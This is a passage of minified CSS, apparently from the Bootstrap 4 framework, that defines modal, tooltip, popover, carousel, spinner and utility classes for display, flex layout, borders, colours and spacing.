9.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered:before{display:block;height:calc(100vh - 1rem);content:""}.modal-dialog-centered.modal-dialog-scrollable{flex-direction:column;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable:before{content:none}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:flex;align-items:flex-start;justify-content:space-between;padding:1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;flex:1 1 auto;padding:1rem}.modal-footer{display:flex;align-items:center;justify-content:flex-end;padding:1rem;border-top:1px solid #dee2e6;border-bottom-right-radius:.3rem;border-bottom-left-radius:.3rem}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}
9.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered:before{height:calc(100vh - 3.5rem)}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}[dir=ltr] .tooltip{text-align:left}[dir=rtl] .tooltip{text-align:right}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow:before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow:before,.bs-tooltip-top .arrow:before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow:before,.bs-tooltip-right .arrow:before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow:before,.bs-tooltip-bottom .arrow:before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow:before,.bs-tooltip-left .arrow:before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}[dir=ltr] .popover{text-align:left}[dir=rtl] .popover{text-align:right}.popover{top:0;left:0;z-index:1060;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover,.popover .arrow{position:absolute;display:block}.popover .arrow{width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow:after,.popover .arrow:before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc(-.5rem + -1px)}.bs-popover-auto[x-placement^=top]>.arrow:before,.bs-popover-top>.arrow:before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow:after,.bs-popover-top>.arrow:after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc(-.5rem + -1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow:before,.bs-popover-right>.arrow:before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow:after,.bs-popover-right>.arrow:after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>
9.arrow,.bs-popover-bottom>.arrow{top:calc(-.5rem + -1px)}.bs-popover-auto[x-placement^=bottom]>.arrow:before,.bs-popover-bottom>.arrow:before{top:0;border-width:0 .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow:after,.bs-popover-bottom>.arrow:after{top:1px;border-width:0 .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header:before,.bs-popover-bottom .popover-header:before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc(-.5rem + -1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow:before,.bs-popover-left>.arrow:before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow:after,.bs-popover-left>.arrow:after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner:after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;transition:transform .6s ease-in-out,-webkit-transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}
9.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}
9.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50%/100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:flex;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}
9.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes spinner-border{to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;border:.25em solid;border-right:.25em solid transparent;border-radius:50%;-webkit-animation:spinner-border .75s linear infinite;animation:spinner-border .75s linear infinite}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:spinner-grow .75s linear infinite;animation:spinner-grow .75s linear infinite}.spinner-grow-sm{width:1rem;height:1rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important}.rounded-right,.rounded-top{border-top-right-radius:.25rem!important}.rounded-bottom,.rounded-right{border-bottom-right-radius:.25rem!important}.rounded-bottom,.rounded-left{border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix:after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive:before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9:before{padding-top:42.857143%}.embed-responsive-16by9:before{padding-top:56.25%}.embed-responsive-4by3:before{padding-top:75%}.embed-responsive-1by1:before{padding-top:100%}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-fill{flex:1 1 auto!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}
9.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}@media (min-width:576px){.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}}@media (min-width:768px){.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}
9.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{top:0}.fixed-bottom,.fixed-top{position:fixed;right:0;left:0;z-index:1030}.fixed-bottom{bottom:0}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.stretched-link:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:transparent}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n